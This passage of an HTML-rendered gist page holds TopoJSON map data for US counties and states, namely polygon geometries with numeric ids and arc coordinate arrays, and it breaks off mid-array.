ygon&quot;,&quot;id&quot;:38081,&quot;arcs&quot;:[[-535,606,607,608,-531]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38051,&quot;arcs&quot;:[[-525,609,610,611,-512,-516]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38021,&quot;arcs&quot;:[[-532,-609,612,613,-610,-524]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38011,&quot;arcs&quot;:[[-606,614,-498,-522]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30023,&quot;arcs&quot;:[[-554,615,616,-508,-448,-320]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26043,&quot;arcs&quot;:[[617,618,619,-568,620]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27095,&quot;arcs&quot;:[[621,622,623,624,-594,-452,-419]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30097,&quot;arcs&quot;:[[-477,625,626,-412,-479]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30031,&quot;arcs&quot;:[[-414,627,628,629,630,631,-551,-460]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30067,&quot;arcs&quot;:[[-627,632,633,634,-628,-413]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30093,&quot;arcs&quot;:[[635,636,-616,-553]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41009,&quot;arcs&quot;:[[[637,638,639,-600,640,-587]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27065,&quot;arcs&quot;:[[-576,641,-622,-418]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55013,&quot;arcs&quot;:[[642,643,644,645,-574,646]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55113,&quot;arcs&quot;:[[647,648,649,650,651]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55129,&quot;arcs&quot;:[[-651,652,-643,653]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30011,&quot;arcs&quot;:[[654,655,656,657,-440,-500]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30095,&quot;arcs&quot;:[[-562,658,-633,-626,-476]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27051,&quot;arcs&quot;:[[-489,659,660,661,-527]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27041,&quot;arcs&quot;:[[-593,662,663,-660,-488]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55041,&quot;arcs&quot;:[[664,665,666,667,668,-599,-570]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53011,&quot;arcs&quot;:[[-584,669,-638,-586]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53039,&quot;arcs&quot;:[[-486,670,671,672,673,674,-581,-408]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30003,&quot;arcs&quot;:[[-444,675,676,677,678,-560,-563]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27155,&quot;arcs&quot;:[[-662,679,680,681,-533,-528]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55037,&quot;arcs&quot;:[[-620,682,-665,-569]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41059,&quot;arcs&quot;:[[-537,683,684,685,686,-484,-539]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41063,&quot;arcs&quot;:[[-495,-564,-518,-505,687,688,689,-684,-536]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26109,&quot;arcs&quot;:[[690,691,692,-618,693]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55099,&quot;arcs&quot;:[[-598,694,695,696,697,-649,698,-541]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46105,&quot;arcs&quot;:[[699,700,701,702,703,-604]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46031,&quot;arcs&quot;:[[704,705,706,707,-700,-603,-565]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46063,&quot;arcs&quot;:[[-605,-704,708,-655,-499,-615]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46021,&quot;arcs&quot;:[[-612,709,710,-705,-513]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30001,&quot;arcs&quot;:[[-637,711,712,713,714,-509,-617]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46089,&quot;arcs&quot;:[[-614,715,716,717,-710,-611]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46013,&quot;arcs&quot;:[[-608,718,719,720,721,722,-716,-613]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46109,&quot;arcs&quot;:[[-682,723,724,725,726,-534]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46091,&quot;arcs&quot;:[[-727,727,-719,-607]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41049,&quot;arcs&quot;:[[-687,728,729,730,-671,-485]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55085,&quot;arcs&quot;:[[-669,731,732,-695,-597]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41061,&quot;arcs&quot;:[[733,734,-685,-690]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30057,&quot;arcs&quot;:[[-632,735,-712,-636,-552]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27009,&quot;arcs&quot;:[[-625,736,737,-595]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41021,&quot;arcs&quot;:[[738,739,740,-672,-731]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30075,&quot;arcs&quot;:[[-658,741,742,743,-676,-443,-441]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26031,&quot;arcs&quot;:[[744,745,746,747,748,749]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41057,&quot;arcs&quot;:[[[750,751,752,753,754,-601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41067,&quot;arcs&quot;:[[755,756,757,-751,-640]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27145,&quot;arcs&quot;:[[-738,758,759,760,761,762,-663,-592,-596]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27149,&quot;arcs&quot;:[[763,764,765,-680,-661]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27121,&quot;arcs&quot;:[[-763,766,767,-764,-664]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41055,&quot;arcs&quot;:[[768,-673,-741]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27059,&quot;arcs&quot;:[[769,770,771,-623,-642]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27025,&quot;arcs&quot;:[[-646,772,773,774,-770,-575]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55095,&quot;arcs&quot;:[[775,776,777,-773,-645]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41051,&quot;arcs&quot;:[[-670,-583,778,779,-756,-639]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41027,&quot;arcs&quot;:[[780,781,-779,-582,-675]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41065,&quot;arcs&quot;:[[-769,-740,782,783,784,785,-781,-674]]},{&quot;type&quot;:&quot;Poly</code></pre><p><em>Truncated — <a href="https://gist.github.com/78794dcae28394eec2215a1b7fb2bc24">view the full gist</a>.</em></p>
<h3>us-states.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;states&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;geometries&quot;:[{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:1000,&quot;arcs&quot;:[[0,1,2,3,4]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:2000,&quot;arcs&quot;:[[[5]],[[6]],[[7]],[[8]],[[9]],[[10]],[[11]],[[12]],[[13]],[[14]],[[15]],[[16]],[[17]],[[18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:4000,&quot;arcs&quot;:[[44,45,46,47,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:5000,&quot;arcs&quot;:[[49,50,51,52,53,54]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:6000,&quot;arcs&quot;:[[55,-47,56,57]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:8000,&quot;arcs&quot;:[[58,59,60,61,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:9000,&quot;arcs&quot;:[[64,65,66,67]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:10000,&quot;arcs&quot;:[[68,69,70,71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:11000,&quot;arcs&quot;:[[72,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:12000,&quot;arcs&quot;:[[74,75,-2]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:13000,&quot;arcs&quot;:[[76,77,-75,-1,78,79]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:15000,&quot;arcs&quot;:[[[80]],[[81]],[[82]],[[83]],[[84]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16000,&quot;arcs&quot;:[[85,86,87,88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:17000,&quot;arcs&quot;:[[92,93,94,95,96,97]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:18000,&quot;arcs&quot;:[[98,99,-95,100,101]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:19000,&quot;arcs&quot;:[[102,-98,103,104,105,106]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:20000,&quot;arcs&quot;:[[107,108,-60,109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:21000,&quot;arcs&quot;:[[110,111,112,113,-96,-100,114]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:22000,&quot;arcs&quot;:[[115,116,117,-52]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23000,&quot;arcs&quot;:[[118,119]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:24000,&quot;arcs&quot;:[[[120]],[[121,-71,122,123,124,125,-74,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:25000,&quot;arcs&quot;:[[128,129,130,131,-68,132,133,134]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:26000,&quot;arcs&quot;:[[[135,-102,136]],[[137]],[[138,139]],[[140]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27000,&quot;arcs&quot;:[[141,-107,142,143,144]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:28000,&quot;arcs&quot;:[[-4,145,-116,-51,146]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:29000,&quot;arcs&quot;:[[-97,-114,147,-55,148,-108,149,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30000,&quot;arcs&quot;:[[150,151,152,-86,153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:31000,&quot;arcs&quot;:[[-105,-150,-110,-59,154,155]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:32000,&quot;arcs&quot;:[[-89,156,-48,-56,157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:33000,&quot;arcs&quot;:[[-119,158,-135,159,160]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:34000,&quot;arcs&quot;:[[161,-69,162,163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:35000,&quot;arcs&quot;:[[164,165,166,-45,-62]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:36000,&quot;arcs&quot;:[[167,-133,-67,168,-164,169,170]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:37000,&quot;arcs&quot;:[[171,172,-80,173,174]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38000,&quot;arcs&quot;:[[-144,175,-151,176]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:39000,&quot;arcs&quot;:[[177,178,-115,-99,-136,179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:40000,&quot;arcs&quot;:[[-149,-54,180,-165,-61,-109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41000,&quot;arcs&quot;:[[-90,-158,-58,181,182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:42000,&quot;arcs&quot;:[[-163,-72,-122,183,-178,184,-170]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:44000,&quot;arcs&quot;:[[[-130,185]],[[186,-65,-132]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:45000,&quot;arcs&quot;:[[187,-77,-173]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46000,&quot;arcs&quot;:[[-176,-143,-106,-156,188,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:47000,&quot;arcs&quot;:[[189,-174,-79,-5,-147,-50,-148,-113]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:48000,&quot;arcs&quot;:[[-53,-118,190,-166,-181]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:49000,&quot;arcs&quot;:[[191,-63,-49,-157,-88]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:50000,&quot;arcs&quot;:[[-160,-134,-168,192]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:51000,&quot;arcs&quot;:[[[-127,-73,-126,193,-175,-190,-112,194]],[[195,-124]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53000,&quot;arcs&quot;:[[[-91,-183,196]],[[197]],[[198]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:54000,&quot;arcs&quot;:[[-184,-128,-195,-111,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55000,&quot;arcs&quot;:[[-139,199,-93,-103,-142,200]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:56000,&quot;arcs&quot;:[[-189,-155,-64,-192,-87,-153]]}]}},&quot;arcs&quot;:[[[2632,3060],[5,-164],[7,-242],[4,-53],[3,-30],[-2,-19],[4,-11],[-5,-25],[0,-24],[-2,-32],[2,-57],[-2,-51],[3,-52]],[[2649,2300],[-14,-1],[-59,0],[-1,-25],[6,-37],[-1,-31],[2,-16],[-4,-28]],[[2578,2162],[-4,-6],[-7,31],[-1,47],[-2,6],[-3,-36],[-1,-34],[-7,9]],[[2553,2179],[-2,291],[6,363],[4,209],[-3,20]],[[2558,3062],[24,1],[50,-3]],[[1324,6901],[1,32],[6,-19],[-1,-32],[-8,4],[2,15]],[[1317,6960],[5,-23],[-3,-33],[-2,11],[0,45]],[[1285,7153],[6,5],[3,-8],[-1,-28],[-6,-6],[-5,17],[3,20]],[[1267,7137],[12,-7],[3,-36],[13,-41],[4,-25],[0,-21],[3,-4],[1,-27],[5,-27],[0,-25],[3,8],[2,-19],[1,-74],[-3,-17],[-7,3],[-3,38],[-2,-3],[-6,28],[-2,-10],[-5,10],[1,-28],[5,7],[3,-10],[-2,-39],[-5,4],[-9,49],[-2,25],[1,26],[-7,-2],[0,20],[5,2],[5,18],[-2,31],[-6,7],[-1,50],[-2,25],[-4,-18],[-2,28],[4,14],[-3,32],[2,8]],[[1263,6985],[5,-12],[4,15],[4,-7],[-4,-28],[-6,8],[-3,24]],[[1258,7247],[-4,19],[5,13],[15,-18],[7,1],[5,-36],[9,-29],[-1,-22],[-5,-11],[-6,5],[-5,-14],[-6,9],[-7,-9],[-1,45],[0,30],[-5,1],[-1,16]],[[1252,7162],[-4,14],[-4,32],[0,24],[3,11],[4,-11],[0,20],[12,-35],[1,-33],[-4,-5],[-3,-37],[3,-11],[-3,-43],[-5,9],[0,-27],[-3,13],[-2,54],[5,25]],[[1237,7124],[-1,-22],[-4,13],[-10,84],[-7,25],[3,20],[-3,48],[-8,39],[8,38],[3,-16],[7,-13],[6,-2],[0,-30],[6,-99],[0,-85]],[[1235,7494],[10,-15],[5,2],[0,-14],[8,-52],[-5,8],[-2,-18],[6,-27],[2,-48],[-6,-13],[-2,-16],[-10,-35],[-3,1],[-1,37],[2,22],[-1,32],[-3,40],[0,21],[-2,51],[-4,22],[-1,38],[7,-36]],[[1203,7324],[4,0],[4,-35],[-2,-24],[-6,-5],[1,38],[-1,26]],[[1191,7491],[8,-1],[6,17],[8,-23],[-5,-26],[2,-9],[4,28],[10,-9],[5,-21],[-3,-38],[3,-3],[3,-50],[-7,-7],[-14,41],[0,-42],[-4,-17],[-5,7],[-3,26],[-6,18],[-5,37],[-6,17],[1,30],[4,10],[1,26],[3,-11]],[[883,7871],[-12,-48],[-1,-19],[-9,-12],[2,29],[10,30],[7,34],[3,-14]],[[870,7943],[-2,-39],[-4,-41],[-6,14],[5,47],[7,19]],[[863,9788],[3,-8],[15,-9],[8,5],[10,0],[12,-7],[7,4],[7,-15],[12,-18],[16,-4],[5,10],[11,6],[4,14],[12,2],[0,-9],[7,5],[15,-15],[9,-24],[10,-11],[2,-11],[8,-2],[8,-18],[1,-11],[5,9],[6,-7],[0,-1783],[13,-16],[2,17],[14,-24],[8,30],[18,4],[-3,-52],[4,-17],[10,-17],[2,-27],[29,-101],[4,-63],[6,17],[12,31],[7,1],[3,23],[0,34],[5,0],[1,31],[9,7],[13,26],[13,-45],[-1,-27],[3,-27],[7,-7],[10,-40],[-1,-12],[4,-22],[12,-25],[19,-110],[3,-29],[6,-29],[8,-65],[9,-55],[-3,-23],[9,-9],[-2,-33],[7,-14],[1,-38],[7,2],[14,-40],[9,-7],[5,-19],[4,-5],[1,-19],[9,-5],[3,-23],[-4,-43],[1,-36],[4,-58],[-3,-15],[-7,-53],[-10,-39],[-3,20],[-4,-6],[-3,39],[1,17],[-3,20],[7,21],[-2,7],[-7,-26],[-3,17],[-4,-10],[-12,42],[4,46],[-8,-15],[0,-23],[-6,17],[-1,22],[4,24],[-1,24],[-6,-19],[-6,42],[-3,-8],[-2,36],[5,23],[6,0],[-2,28],[3,36],[-5,-1],[-9,32],[-6,37],[-15,27],[0,77],[-4,9],[1,31],[-5,9],[-8,42],[-2,22],[-12,7],[-14,56],[-6,132],[-3,-30],[1,-27],[6,-53],[-1,-8],[3,-43],[0,-28],[-6,6],[-4,31],[-6,6],[-8,-9],[0,45],[-5,38],[-4,-12],[-18,40],[-2,-11],[10,-13],[7,-31],[3,-1],[1,-25],[4,-30],[-10,-16],[-5,10],[0,-26],[-8,20],[-2,14],[-5,0],[-13,38],[-10,33],[0,20],[-6,30],[-14,21],[-9,21],[-14,26],[-9,24],[1,26],[2,-9],[3,17],[-3,38],[4,21],[-2,9],[-7,-40],[-14,-26],[-18,10],[-14,24],[-1,18],[-7,-4],[-7,14],[-17,12],[-9,1],[-21,-10],[-8,-7],[-10,27],[-12,12],[-3,17],[-2,28],[-8,-2],[-3,-25],[-15,34],[-2,14],[-15,-27],[-7,-32],[-3,30],[3,17],[4,-5],[14,22],[-2,17],[-6,-8],[-3,22],[-6,3],[-6,55],[-3,-13],[-8,-8],[-3,8],[-3,-18],[-11,6],[-1,-20],[-7,-5],[-3,7],[2,36],[-3,-1],[-5,-38],[7,-12],[1,-27],[4,-30],[-3,-31],[-5,10],[-2,-15],[6,-7],[3,-41],[-8,-9],[-4,9],[-7,-12],[-3,10],[-9,-2],[0,16],[-4,-10],[-3,-20],[-3,18],[-5,-25],[2,-12],[-6,-15],[-6,-2],[-3,-20],[-6,-17],[-4,6],[-5,-21],[-4,1],[-8,-43],[-9,-3],[-3,14],[-5,-23],[-11,17],[2,33],[8,11],[4,-2],[2,13],[8,25],[0,21],[-11,-28],[-9,16],[-1,12],[5,48],[8,34],[1,29],[2,5],[1,30],[-4,34],[10,12],[19,48],[4,-19],[6,-5],[9,20],[-10,26],[-4,20],[-7,-2],[-5,9],[-2,-8],[-9,-14],[-4,-26],[-9,-6],[-9,-30],[-1,-20],[-7,-11],[-2,-22],[-5,-13],[-2,-39],[-10,-25],[5,-20],[-4,-29],[-9,-5],[-1,-38],[-8,-13],[-3,15],[-4,-29],[-5,-1],[1,-21],[-11,-13],[-2,-57],[12,-3],[10,-16],[3,-19],[-4,-30],[-7,-19],[-6,-1],[0,-17],[-4,-6],[1,-21],[-4,-31],[-9,-29],[-5,0],[-5,-11],[-5,2],[-3,-11],[1,-16],[-7,-8],[-2,-23],[-5,14],[-5,-45],[-9,4],[1,-24],[-6,6],[-3,-11],[0,-32],[-6,-50],[-10,-6],[-7,-23],[-2,-13],[-5,18],[-8,-48],[-2,13],[-5,-4],[-1,-27],[-5,-10],[-6,4],[-4,-27],[8,-9],[-9,-60],[-25,-20],[-6,-54],[-2,12],[1,33],[-5,6],[-6,-13],[-1,-14],[-10,-22],[-4,-25],[-1,18],[-2,-21],[-6,14],[-10,-33],[-8,2],[1,25],[-4,24],[-3,-20],[1,-21],[-11,-64],[-3,16],[-1,-24],[-8,4],[-1,38],[-4,8],[-2,-14],[4,-16],[-2,-27],[-5,-13],[-5,29],[-5,2],[-1,-11],[5,-17],[-9,-27],[6,-7],[0,-13],[-5,9],[-7,-25],[-15,1],[-7,-16],[0,-13],[-8,-15],[-6,6],[-2,35],[6,12],[4,43],[6,1],[13,28],[10,1],[4,-27],[3,20],[-1,23],[6,10],[7,0],[8,50],[10,45],[12,40],[15,18],[6,-9],[6,12],[1,-17],[-3,-19],[4,-14],[1,23],[7,2],[2,-15],[5,-5],[0,18],[-8,15],[0,11],[5,49],[6,28],[9,27],[15,24],[10,35],[5,-13],[4,5],[-1,22],[1,21],[8,44],[11,28],[8,38],[0,21],[7,148],[11,40],[-1,31],[-27,-45],[-8,6],[-2,18],[-5,9],[-1,21],[-4,-10],[-3,-32],[5,-41],[-6,-18],[-5,7],[-9,64],[-6,33],[-4,0],[-2,-24],[-3,-4],[-4,19],[-5,4],[-2,32],[-16,-37],[-13,-26],[-1,-14],[-11,-22],[-6,20],[5,23],[-1,54],[-4,57],[7,24],[-6,49],[-5,27],[-4,39],[-6,17],[-2,-34],[-7,-8],[-12,-22],[-14,-9],[-7,2],[-7,12],[-1,30],[-5,9],[-9,42],[-8,8],[-8,46],[6,21],[1,39],[-5,-8],[0,24],[2,19],[-6,18],[0,-19],[-7,8],[-1,32],[-6,4],[-3,22],[0,27],[-5,-12],[-1,26],[7,6],[-6,30],[10,2],[0,35],[2,24],[18,77],[4,23],[3,-5],[-2,33],[7,55],[6,22],[11,9],[8,-9],[12,-33],[8,4],[11,32],[11,49],[6,6],[1,-13],[13,0],[12,10],[11,52],[0,12],[-5,48],[-1,28],[-8,31],[-3,26],[8,-7],[8,22],[0,20],[-10,39],[-8,-30],[-7,5],[-6,-17],[-8,-4],[-2,-11],[-9,-17],[-2,-28],[-5,-12],[-2,34],[-5,7],[-4,-26],[-2,12],[-10,19],[-20,-1],[-14,-21],[-6,-3],[-11,13],[-22,14],[-6,12],[-3,19],[2,26],[-8,22],[2,24],[5,12],[-2,31],[-8,0],[-6,8],[-13,6],[-7,16],[-10,16],[-1,19],[16,27],[20,43],[15,27],[8,-15],[8,-3],[2,21],[-5,3],[-1,18],[20,29],[22,22],[12,2],[7,-7],[-4,-32],[2,-22],[-3,-15],[4,-26],[8,5],[10,-5],[11,6],[4,-10],[7,-2],[7,10],[8,-11],[9,42],[5,2],[5,-8],[2,24],[-12,11],[-11,-9],[1,31],[-8,34],[-10,10],[-2,30],[7,8],[9,-31],[-1,-24],[4,-18],[10,-22],[2,23],[-11,30],[5,54],[-4,10],[-11,-12],[-11,3],[-2,10],[-6,-10],[-24,23],[0,24],[-7,54],[-6,19],[-9,17],[-19,46],[-9,18],[-8,4],[-13,31],[-12,18],[-1,6],[9,10],[4,29],[1,59],[25,-4],[31,13],[8,11],[12,29],[12,45],[3,45],[5,38],[10,33],[5,24],[13,38],[2,-10],[11,-3],[16,20],[10,21],[24,64],[9,4],[1,-10],[9,7],[9,-2],[18,9],[17,28],[17,58],[7,13],[2,-10],[26,-24],[2,-17],[-9,-22],[-4,-1],[0,-29],[14,9],[0,16],[6,14],[2,-8],[5,33],[13,-30],[-2,-23],[8,-6],[5,-14],[7,22],[13,1],[7,7],[18,-7],[10,-8],[-5,-45],[17,-12],[2,-11],[16,-20],[1,9],[12,13],[11,-1],[0,-11],[7,-1],[7,15],[11,2],[9,-6],[11,-16],[5,3],[7,-22],[4,9],[7,-7],[5,-13]],[[717,7456],[-1,-8],[-9,13],[7,49],[6,4],[4,45],[5,-40],[4,14],[8,-22],[0,-31],[-11,-4],[-5,-13],[-8,-7]],[[688,7363],[8,25],[-8,6],[0,22],[6,14],[5,-10],[0,-22],[3,15],[0,32],[5,-15],[1,21],[5,-12],[5,0],[5,11],[7,-20],[0,-55],[9,4],[-6,-37],[-11,15],[4,-24],[-3,-20],[-6,10],[0,-38],[-8,-10],[-3,-16],[-5,15],[-6,-40],[-4,-4],[-5,-18],[-2,43],[-6,-23],[-1,13],[-6,14],[0,39],[-6,15],[4,45],[11,28],[7,-2],[1,-21]],[[671,7185],[-6,-39],[-2,6],[8,33]],[[640,7055],[4,-2],[-1,-40],[-8,6],[-1,13],[6,23]],[[519,6933],[-2,-41],[-9,-33],[5,51],[2,-5],[4,28]],[[501,6947],[5,0],[0,-20],[-5,-23],[-5,15],[-3,-14],[-2,35],[2,12],[8,-5]],[[451,6875],[1,-16],[-3,-11],[-3,18],[5,9]],[[447,8527],[-4,-19],[-2,16],[6,3]],[[436,6781],[6,-7],[-1,-16],[-5,1],[0,22]],[[358,6745],[2,-22],[-5,-10],[-1,23],[4,9]],[[352,6718],[-8,-21],[-2,14],[3,19],[7,-12]],[[335,7902],[6,7],[2,-14],[5,3],[6,-12],[1,-54],[-3,-18],[-7,-11],[-2,-18],[-11,20],[-5,-1],[-10,28],[-4,0],[-6,15],[-2,25],[3,7],[10,-7],[5,20],[6,2],[2,14],[4,-6]],[[334,6690],[5,-14],[-10,-36],[1,-6],[12,26],[0,-15],[-5,-17],[-8,-12],[-1,-18],[-8,-18],[-7,-1],[-5,-18],[-9,-16],[-5,17],[9,20],[3,-3],[8,16],[-2,19],[4,20],[6,-9],[1,12],[-7,4],[-4,14],[4,23],[11,13],[2,-26],[5,25]],[[266,6527],[10,37],[1,16],[4,17],[7,9],[3,-10],[2,-25],[-13,-27],[-6,-40],[-5,-13],[-3,36]],[[238,6477],[2,-19],[-8,-1],[-1,13],[7,7]],[[227,7303],[-4,-18],[-1,18],[5,0]],[[212,6440],[2,-18],[-5,-13],[-1,19],[4,12]],[[182,8542],[22,-28],[13,24],[6,-2],[5,-14],[2,-23],[11,-12],[4,-12],[15,-5],[9,-8],[-5,-28],[-7,6],[-8,-5],[-4,-13],[-4,-28],[-5,26],[-6,18],[-6,2],[-3,20],[-15,25],[-6,1],[-11,-22],[-7,11],[-4,23],[4,44]],[[162,6381],[0,-22],[-5,-4],[1,19],[4,7]],[[128,6335],[4,-8],[10,1],[1,-7],[-13,-9],[-2,23]],[[108,6360],[0,19],[4,7],[6,-19],[-2,-17],[-4,1],[1,-20],[-5,-2],[-12,-21],[-6,6],[2,15],[7,-2],[9,33]],[[47,6279],[5,3],[0,-24],[-6,3],[-8,-28],[-4,37],[4,1],[0,29],[5,1],[0,-21],[4,-1]],[[28,6296],[3,-9],[-2,-32],[-5,-10],[0,20],[4,31]],[[0,6291],[5,-1],[4,-23],[-4,-27],[-5,51]],[[9993,6496],[6,-13],[0,-19],[-11,-12],[-8,31],[0,15],[13,-2]],[[1966,3444],[-1,-1081]],[[1965,2363],[-57,0],[-34,71],[-73,150],[3,43]],[[1804,2627],[6,8],[1,16],[-1,36],[-4,1],[-2,71],[6,27],[0,28],[-1,45],[4,34],[4,12],[4,25],[-6,27],[-4,51],[-5,31],[0,24]],[[1806,3063],[2,26],[0,36],[-3,36],[-2,112],[11,7],[3,-23],[3,1],[3,33],[0,153]],[[1823,3444],[101,2],[42,-2]],[[2515,3253],[-1,-35],[-4,-11],[-1,-29],[-5,-31],[0,-46],[-3,-34],[-3,-5]],[[2498,3062],[2,-17],[-4,-14],[-2,-33],[-3,-8],[0,-38],[-5,-10],[0,-13],[-6,-31],[2,-21],[-5,-30],[-5,-59],[5,-25],[-2,-16],[1,-39],[-2,-26]],[[2474,2682],[-69,3],[-13,0]],[[2392,2685],[0,101],[-4,8],[-5,-9],[-3,18]],[[2380,2803],[1,335],[-5,211]],[[2376,